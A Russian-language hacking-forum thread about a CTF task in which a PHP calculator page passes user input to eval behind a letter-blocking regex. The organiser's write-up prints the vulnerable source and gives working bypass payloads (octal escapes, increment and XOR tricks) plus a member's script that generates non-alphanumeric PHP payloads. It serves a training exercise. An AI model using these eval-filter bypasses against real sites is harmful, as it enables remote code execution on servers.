Task # Task #2

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 5 Jan 2019.

  1. sinusu

    sinusu Level 8

    Joined:
    8 Dec 2018
    Messages:
    1
    Likes Received:
    2
    Reputations:
    1
    Прошел
     
    dooble and D3N like this.
    1. Dimionx

      Dimionx Elder - Старейшина

      Joined:
      28 Aug 2008
      Messages:
      37
      Likes Received:
      12
      Reputations:
      4
      Прошел
       
      dooble and crlf like this.
      1. GoldJoker

        GoldJoker New Member

        Joined:
        15 Feb 2010
        Messages:
        6
        Likes Received:
        4
        Reputations:
        1
        Прошел
         
        crlf likes this.
        1. joelblack

          joelblack Reservists Of Antichat

          Joined:
          6 Jul 2015
          Messages:
          244
          Likes Received:
          450
          Reputations:
          145
          Обновил первый пост с таском. Добавлена небольшая подзадача.
           
          dooble likes this.
          1. dooble

            dooble Members of Antichat

            Joined:
            30 Dec 2016
            Messages:
            231
            Likes Received:
            601
            Reputations:
            145
            Вот "в лоб" вижу решение на 16 символов, интересно, есть ли короче?
             
            1. WoS

              WoS New Member

              Joined:
              16 Jan 2019
              Messages:
              17
              Likes Received:
              1
              Reputations:
              0
              Прошел. 23 символа
               
              1. l1ght

                l1ght Elder - Старейшина

                Joined:
                5 Dec 2006
                Messages:
                191
                Likes Received:
                678
                Reputations:
                333
                15 бро, пересчитай;)
                 
                PCD and b3 like this.
                1. Dimionx

                  Dimionx Elder - Старейшина

                  Joined:
                  28 Aug 2008
                  Messages:
                  37
                  Likes Received:
                  12
                  Reputations:
                  4
                  Сократил решение до 21-го символа, но как ещё сократить хз :(
                   
                  ZodiaX and dooble like this.
                  1. dooble

                    dooble Members of Antichat

                    Joined:
                    30 Dec 2016
                    Messages:
                    231
                    Likes Received:
                    601
                    Reputations:
                    145
                    Кстати, шутка зашла, пересчитал, точно - 13 ;).
                    Но это, когда нагрузка делится get+post.
                    Есть подозрение что всю посылку можно уместить в input и сделать короче 16 символов.
                     
                    PCD and crlf like this.
                    1. FriLL

                      FriLL Member

                      Joined:
                      14 Sep 2008
                      Messages:
                      90
                      Likes Received:
                      24
                      Reputations:
                      8
                      Как это работает??
                      Можно более подробно объяснить???
                      ${"_".(";"^"|").(">"^"{").("{"^"/")}[_]() - что тут происходит?
                       
                      1. dooble

                        dooble Members of Antichat

                        Joined:
                        30 Dec 2016
                        Messages:
                        231
                        Likes Received:
                        601
                        Reputations:
                        145
                        Объяснения будут во время закрытия задания, или чуть позже.
                         
                        1. BabaDook

                          BabaDook Well-Known Member

                          Joined:
                          9 May 2015
                          Messages:
                          1,063
                          Likes Received:
                          1,559
                          Reputations:
                          40
                          XOR
                          https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
                           
                          Coost likes this.
                          1. grimnir

                            grimnir Members of Antichat

                            Joined:
                            23 Apr 2012
                            Messages:
                            1,114
                            Likes Received:
                            830
                            Reputations:
                            231
                            http://www.thespanner.co.uk/2012/08/21/php-nonalpha-tutorial/
                            http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
                            https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors
                             
                            _________________________
                            fandor9 and BabaDook like this.
                            1. topthing

                              topthing Member

                              Joined:
                              23 Dec 2018
                              Messages:
                              18
                              Likes Received:
                              24
                              Reputations:
                              6
                              done/23chr
                               
                              dooble likes this.
                              1. joelblack

                                joelblack Reservists Of Antichat

                                Joined:
                                6 Jul 2015
                                Messages:
                                244
                                Likes Received:
                                450
                                Reputations:
                                145
                                В связи с тем,что активность последние дни была практически нулевой - мной было принято решение не много отклониться от правил, но в целом сохранить общую концепцию.Так как решения по таску 2 перестали присылать я решил сфокусироваться на активной аудитории, которая решила таск 2 и начала думать как можно решить другими способами, в том числе самым коротким вариантом.В связи с чем я закрываю основную часть задания но продолжу принимать мини-задачу до субботы.Что касается "Вот же решение - кому то халявная репа". С момента, как я стал выкладывать короткие варианты - мне прислали только 1 решение таска и оно было абсолютно другим,поэтому халявы тут нет и не будет.Так же парни, которые писали "Прошел" и не присылали пруфы и которым ставили репутацию - остались без нее. Простите, но я не верю на слово.Что касается решений и их разбора.Этим я займусь в выходные,опубликую все ваши решения,скрипты, которые вы присылали, а так же сделаю разбор некоторых вариантов решения.
                                 
                                #75 joelblack, 17 Jan 2019
                                Last edited: 17 Jan 2019
                                XoroXSS, D3N, BillyBons and 7 others like this.
                                1. joelblack

                                  joelblack Reservists Of Antichat

                                  Joined:
                                  6 Jul 2015
                                  Messages:
                                  244
                                  Likes Received:
                                  450
                                  Reputations:
                                  145
                                  С момента запуска второго таска прошло 2 недели, а это значит самое время подвести итоги и закрыть все задания.Логи показывают что активность есть, есть интерес к решению задач не очевидными способами.Это очень здорово,все кто решал - молодцы.Все кто решал и по каким то причинам не смог решить - не стоит расстраиваться.Будут еще задачи где вы сможете проявить себя.Мы стараемся реализовывать задачи таким образом,что бы вы научились смотреть на код несколько иначе,чем вы смотрите сейчас,учились правильно искать нужную информацию и применять в своих целях. Уверен, спустя некоторое время вы эти и последующие задачи будете решать играючи.

                                  Теперь что касается содержания данного поста.Первая часть будет посвящена разбору некоторых возможных вариантов решения.Я позволил себе некоторую вольность и условно разделил все решения на 2 вида:

                                  • С цифрами
                                  • Без цифр
                                  Поэтому я распишу один элементарный способ решения с цифрами и пару способов без них.Когда вы поймете принцип - вам будет не сложно разобраться со всеми остальными вариантами. Во второй части будут ваши решения/программы и другой доп.материал, который вы мне скинули.

                                  Итак.Заходим на http://task2.antichat.xyz и первое что бросается в глаза это форма и ее название. Из этого делаем вывод, что мы имеем калькулятор и input для ввода данных. Пробуем ввести 1 + 3 и получаем как и ожидалось 4. Пробуем ввести abc и получаем "Hacker Detected!!!". Картина постепенно вырисовывается. Пробуем посмотреть исходный код страницы в надежде получить какую либо доп.информацию.В итоге обнаруживаем ссылку на сорцы:
                                  Code:
                                  <!--<a href='?cmd=source'>Source Code </a> -->
                                  Отлично, проходим по ссылке и видим следующее:
                                  PHP:
                                  <html>

                                  <head>
                                  </head>
                                  <body>

                                  <h4> Evil Calculator </h4>

                                  <form action='' method='post'>
                                      <input type='text' id='input' name='input' />
                                      <input type='submit' />
                                  <?php
                                  if(isset($_GET['cmd']) && $_GET['cmd'] === 'source' ){
                                          
                                  show_source(__FILE__);
                                              die();
                                  }
                                  if (
                                  $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['input'])) {
                                          if(!
                                  preg_match('/[a-zA-Z`]/'$_POST['input'])){
                                                      print 
                                  '<fieldset><legend>Result</legend>';
                                                          eval(
                                  'print '.$_POST['input'].";");
                                                          print 
                                  '</fieldset>';
                                                          }
                                              else
                                                      echo 
                                  "<p>Hacker Detected!!!</p>";
                                  }
                                  ?>
                                  </form>
                                  <!--<a href='?cmd=source'>Source Code </a> -->
                                  </body>
                                  </html>

                                  Уже что то.Видим eval и видим preg_match. Понимаем, что здесь классическое RCE и начинаем думать как можно обойти preg_match, который нам напрямую запрещает использовать алфавит.На помощь приходит документация по php. Так как мы работаем со строками,есть смысл заглянуть в документацию по строкам php и посмотреть, какие возможности они нам предоставляют.Заходим в документацию: http://php.net/manual/ru/language.types.string.php и начинаем ее изучать. Листаем не много до "Управляющие последовательности" и видим следующее:

                                  Смотрим в регулярку и понимаем, что слеш вполне допустим,цифры,так как это калькулятор тоже. Ну и остается дело за малым.Можем руками, можем через сторонние ресурсы, например, http://www.unit-conversion.info/texttools/octal/ перевести "phpinfo" в oct. Дальше,все что нам остается это добавить () и послать запрос.Итоговая конструкция будет выглядеть так:
                                  Code:
                                  "\160\150\160\151\156\146\157"()

                                  В конечном итоге получаем вывод функции phpinfo().

                                  Теперь разберем пару вариантов без цифр. В php инкремент работает не только на цифрах,но и на буквах, следовательно такой код имеет место быть:
                                  PHP:
                                  <?php
                                  $a 
                                  'a';
                                  echo ++
                                  $a//b
                                  Исходя из этого нам нужно понять, как можно получить буквы.Вспоминаем,что если массив привести к строке, то мы получим слово Array. Основываясь на этом получаем такой код:

                                  PHP:
                                  <?php
                                  $_
                                  =[];
                                  $_="$_"// $_='Array';
                                  Теперь у нас в переменной есть строка.Отлично.Теперь нам необходимо вытащить первую букву.Сделать это можно, например, так:
                                  PHP:
                                  echo $_=$_['!'=='@']; // $_=$_[0]; A
                                  Замечательно, мы вытащили первую букву.Теперь средствами инкремента мы можем сделать из нее B:

                                  PHP:
                                  $___=$_;
                                  echo ++
                                  $___//B
                                  Дальше либо руками, либо какими то средствами автоматизации, основываясь на выше сказанном получаем phpinfo, добавляем () и отправляем:
                                  PHP:
                                  $_ = [];
                                  $_=@"$_";
                                  $_=$_['!'=='@'];
                                  $__=$_;
                                  $___=$_;
                                  $____=$_;
                                  $______=$_;
                                  $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
                                  $___++;$___++;$___++;$___++;$___++;$___++;$___++;
                                  $____ $___;$____++;
                                  $______++;$______++;$______++;$______++;$______++;
                                  $_____ $____;$_____++;$_____++;$_____++;$_____++;$_____++;
                                  $_______ $_____;$_______++;
                                  $__ $__.$___.$__.$____.$_____.$______.$_______;
                                  $__();

                                  Вариант с XOR разобран детально здесь:https://sinister.ly/Thread-How-To-Write-Nonalphanumeric-PHP-Backdoors . Если вкратце, то нам нужно найти такую комбинацию из двух строк,результатом XOR которых будет нужная буква:
                                  PHP:
                                  var_dump('^'^'.'); //p

                                  Вот пример решения:
                                  PHP:
                                  $_=('^'^'.').('('^'@').('^'^'.').(')'^'@').('.'^'@').('='^'[').('/'^'@');${$_()}
                                  Крайне сложно все охватить в одном посте, поэтому тем, кто захочет копнуть глубже, или рассмотреть варианты с $_GET например, то если загуглить php bypass alpha и/или non-alphanumeric php code вы найдете ответы на все интересующие вас вопросы. Теперь перейдем к решениям:
                                  @l1ght
                                  @monotrue
                                  @cat1vo
                                  @OneManTeam
                                  @crabovwik
                                  @=HALK=
                                  @oleg_1va
                                  @MichelleBoxing
                                  @Gorbachev
                                  @dais
                                  @b3
                                  @Franky_T
                                  @xmp
                                  @qwaszx000
                                  @grimnir
                                  @redscout
                                  @Jerri
                                  @rudi
                                  @Shubka75
                                  @Deathdreams
                                  @Alaich
                                  @unstppbl
                                  @PCD
                                  @danilkib95
                                  @Stepan999
                                  @Coost
                                  @WockeeZz
                                  @D3N
                                  @VentaL74
                                  @Cybersteger
                                  @grellario
                                  @to the moon
                                  @sinusu
                                  @GoldJoker
                                  @WoS
                                  @Dimionx
                                  @topthing

                                  Так же хочу отметить отдельно @D3N . Он решил написать "Генератор-Переводчик".Выкладываю его здесь,вдруг кому пригодится.
                                  PHP:
                                  <?php
                                  // словарь символов которые будут использоваться для сборки нужной фразы
                                  $arr[] = '!';
                                  $arr[] = '"';
                                  $arr[] = '$';
                                  $arr[] = '%';
                                  $arr[] = '&';
                                  $arr[] = '(';
                                  $arr[] = ')';
                                  $arr[] = '*';
                                  $arr[] = '+';
                                  $arr[] = ',';
                                  $arr[] = '-';
                                  $arr[] = '.';
                                  $arr[] = '/';
                                  $arr[] = '0';
                                  $arr[] = '1';
                                  $arr[] = '2';
                                  $arr[] = '3';
                                  $arr[] = '4';
                                  $arr[] = '5';
                                  $arr[] = '6';
                                  $arr[] = '7';
                                  $arr[] = '8';
                                  $arr[] = '9';
                                  $arr[] = ':';
                                  $arr[] = ';';
                                  $arr[] = '<';
                                  $arr[] = '=';
                                  $arr[] = '>';
                                  $arr[] = '?';
                                  $arr[] = '@';
                                  $arr[] = '[';
                                  $arr[] = ']';
                                  $arr[] = '^';
                                  $arr[] = '_';
                                  $arr[] = '`';
                                  $arr[] = '{';
                                  $arr[] = '|';
                                  $arr[] = '}';
                                  $arr[] = '~';
                                  $arr[] = '`';
                                  $arr[] = '';
                                  $arr[] = '‚';
                                  $arr[] = 'ƒ';
                                  $arr[] = '„';
                                  $arr[] = '…';
                                  $arr[] = '†';
                                  $arr[] = '‡';
                                  $arr[] = 'ˆ';
                                  $arr[] = '‰';
                                  $arr[] = 'Š';
                                  $arr[] = '‹';
                                  $arr[] = 'Œ';
                                  $arr[] = '';
                                  $arr[] = 'Ž';
                                  $arr[] = '';
                                  $arr[] = '';
                                  $arr[] = '‘';
                                  $arr[] = '’';
                                  $arr[] = '“';
                                  $arr[] = '”';
                                  $arr[] = '•';
                                  $arr[] = '–';
                                  $arr[] = '—';
                                  $arr[] = '˜';
                                  $arr[] = '™';
                                  $arr[] = 'š';
                                  $arr[] = '›';
                                  $arr[] = 'œ';
                                  $arr[] = '';
                                  $arr[] = 'ž';
                                  $arr[] = 'Ÿ';
                                  $arr[] = '¡';
                                  $arr[] = '¢';
                                  $arr[] = '£';
                                  $arr[] = '¤';
                                  $arr[] = '¥';
                                  $arr[] = '¦';
                                  $arr[] = '§';
                                  $arr[] = '¨';
                                  $arr[] = '©';
                                  $arr[] = 'ª';
                                  $arr[] = '«';
                                  $arr[] = '¬';
                                  $arr[] = '%';
                                  $arr[] = '®';
                                  $arr[] = '¯';
                                  $arr[] = '°';
                                  $arr[] = '±';
                                  $arr[] = '²';
                                  $arr[] = '³';
                                  $arr[] = '´';
                                  $arr[] = 'µ';
                                  $arr[] = '¶';
                                  $arr[] = '·';
                                  $arr[] = '¸';
                                  $arr[] = '¹';
                                  $arr[] = 'º';
                                  $arr[] = '»';
                                  $arr[] = '¼';
                                  $arr[] = '½';
                                  $arr[] = '¾';
                                  $arr[] = '¿';
                                  $arr[] = 'À';
                                  $arr[] = 'Á';
                                  $arr[] = 'Â';
                                  $arr[] = 'Ã';
                                  $arr[] = 'Ä';
                                  $arr[] = 'Å';
                                  $arr[] = 'Æ';
                                  $arr[] = 'Ç';
                                  $arr[] = 'È';
                                  $arr[] = 'É';
                                  $arr[] = 'Ê';
                                  $arr[] = 'Ë';
                                  $arr[] = 'Ì';
                                  $arr[] = 'Í';
                                  $arr[] = 'Î';
                                  $arr[] = 'Ï';
                                  $arr[] = 'Ð';
                                  $arr[] = 'Ñ';
                                  $arr[] = 'Ò';
                                  $arr[] = 'Ó';
                                  $arr[] = 'Ô';
                                  $arr[] = 'Õ';
                                  $arr[] = 'Ö';
                                  $arr[] = '×';
                                  $arr[] = 'Ø';
                                  $arr[] = 'Ù';
                                  $arr[] = 'Ú';
                                  $arr[] = 'Û';
                                  $arr[] = 'Ü';
                                  $arr[] = 'Ý';
                                  $arr[] = 'Þ';
                                  $arr[] = 'ß';
                                  $arr[] = 'à';
                                  $arr[] = 'á';
                                  $arr[] = 'â';
                                  $arr[] = 'ã';
                                  $arr[] = 'ä';
                                  $arr[] = 'å';
                                  $arr[] = 'æ';
                                  $arr[] = 'ç';
                                  $arr[] = 'è';
                                  $arr[] = 'é';
                                  $arr[] = 'ê';
                                  $arr[] = 'ë';
                                  $arr[] = 'ì';
                                  $arr[] = 'í';
                                  $arr[] = 'î';
                                  $arr[] = 'ï';
                                  $arr[] = 'ð';
                                  $arr[] = 'ñ';
                                  $arr[] = 'ò';
                                  $arr[] = 'ó';
                                  $arr[] = 'ô';
                                  $arr[] = 'õ';
                                  $arr[] = 'ö';
                                  $arr[] = '÷';
                                  $arr[] = 'ø';
                                  $arr[] = 'ù';
                                  $arr[] = 'ú';
                                  $arr[] = 'û';
                                  $arr[] = 'ü';
                                  $arr[] = 'ý';
                                  $arr[] = 'þ';
                                  $arr[] = 'ÿ';

                                  // Разрешенные для перевода символы.
                                  $cap_letters[] = 'A';
                                  $cap_letters[] = 'B';
                                  $cap_letters[] = 'C';
                                  $cap_letters[] = 'D';
                                  $cap_letters[] = 'E';
                                  $cap_letters[] = 'F';
                                  $cap_letters[] = 'G';
                                  $cap_letters[] = 'H';
                                  $cap_letters[] = 'I';
                                  $cap_letters[] = 'J';
                                  $cap_letters[] = 'K';
                                  $cap_letters[] = 'L';
                                  $cap_letters[] = 'M';
                                  $cap_letters[] = 'N';
                                  $cap_letters[] = 'O';
                                  $cap_letters[] = 'P';
                                  $cap_letters[] = 'Q';
                                  $cap_letters[] = 'R';
                                  $cap_letters[] = 'S';
                                  $cap_letters[] = 'T';
                                  $cap_letters[] = 'U';
                                  $cap_letters[] = 'V';
                                  $cap_letters[] = 'W';
                                  $cap_letters[] = 'X';
                                  $cap_letters[] = 'Y';
                                  $cap_letters[] = 'Z';

                                  $letters[] = 'a';
                                  $letters[] = 'b';
                                  $letters[] = 'c';
                                  $letters[] = 'd';
                                  $letters[] = 'e';
                                  $letters[] = 'f';
                                  $letters[] = 'g';
                                  $letters[] = 'h';
                                  $letters[] = 'i';
                                  $letters[] = 'j';
                                  $letters[] = 'k';
                                  $letters[] = 'l';
                                  $letters[] = 'm';
                                  $letters[] = 'n';
                                  $letters[] = 'o';
                                  $letters[] = 'p';
                                  $letters[] = 'q';
                                  $letters[] = 'r';
                                  $letters[] = 's';
                                  $letters[] = 't';
                                  $letters[] = 'u';
                                  $letters[] = 'v';
                                  $letters[] = 'w';
                                  $letters[] = 'x';
                                  $letters[] = 'y';
                                  $letters[] = 'z';

                                  $xors = array();
                                  for (
                                  $i 0$i count($arr); ++$i) {
                                      for (
                                  $j $i 1$j count($arr); ++$j) {
                                          if (
                                  in_array($arr[$i] ^ $arr[$j], $letters)) {
                                              
                                  $temp = array('letter' => $arr[$i] ^ $arr[$j], 'x1' => $arr[$i], 'x2' => $arr[$j]);
                                              
                                  $xors[] = $temp;
                                          }
                                      }
                                  }

                                  // фраза которую нужно "перевести"
                                  $command "phpinfo";
                                  $comm_array str_split($command);
                                  $result "";

                                  for (
                                  $j 0$j count($comm_array); $j++) {
                                      
                                  $key array_search($comm_array[$j], array_column($xors'letter'));
                                      if (
                                  $key) {
                                          
                                  $result .= "('" $xors[$key]['x1'] . "'^'" $xors[$key]['x2'] . "')";
                                      }
                                      if (
                                  $j != count($comm_array) - 1) {
                                          
                                  $result .= ".";
                                      }
                                  }

                                  // готовый payload. Нужно добавить "();"
                                  print($result);
                                  Если я кого то случайно не включил в список, или же включил но не полностью - пишите мне в ПМ. Решавших было не мало, некоторые присылали сразу несколько решений, некоторые присылали по одному, но в разных сообщениях, поэтому вполне мог что то упустить. В скором времени стартует новый таск, так что вперед, с новыми силами и приятного похека:)!
                                   
                                  4Fun, crabovwik, cerber3000 and 9 others like this.
                                  1. crlf

                                    crlf Green member

                                    Joined:
                                    18 Mar 2016
                                    Messages:
                                    684
                                    Likes Received:
                                    1,516
                                    Reputations:
                                    460
                                    Шикарно!

                                    [​IMG]
                                     
                                    cerber3000 and joelblack like this.
                                    1. XoroXSS

                                      XoroXSS Member

                                      Joined:
                                      8 Jan 2019
                                      Messages:
                                      4
                                      Likes Received:
                                      7
                                      Reputations:
                                      0
                                      Огромное спасибо за разборчики и решения, ну и спасибо @D3N за переводчик!
                                      Вообще, я начинающий в этом деле, приятно видеть что тут поддерживают новичков, а не пытаются закрыться от них гигантскими хайдами.
                                      Взял новые знания на вооружение.
                                       
                                      D3N, dooble, Coost and 1 other person like this.
                                      1. Coost

                                        Coost Active Member

                                        Joined:
                                        6 Jul 2017
                                        Messages:
                                        221
                                        Likes Received:
                                        263
                                        Reputations:
                                        5
                                        Блин, переводчик - тема! Спасибо @D3N
                                         
                                        D3N likes this.
                                        1. l1ght

                                          l1ght Elder - Старейшина

                                          Joined:
                                          5 Dec 2006
                                          Messages:
                                          191
                                          Likes Received:
                                          678
                                          Reputations:
                                          333
                                          победил dooble, двойные ковычки там лишние ;)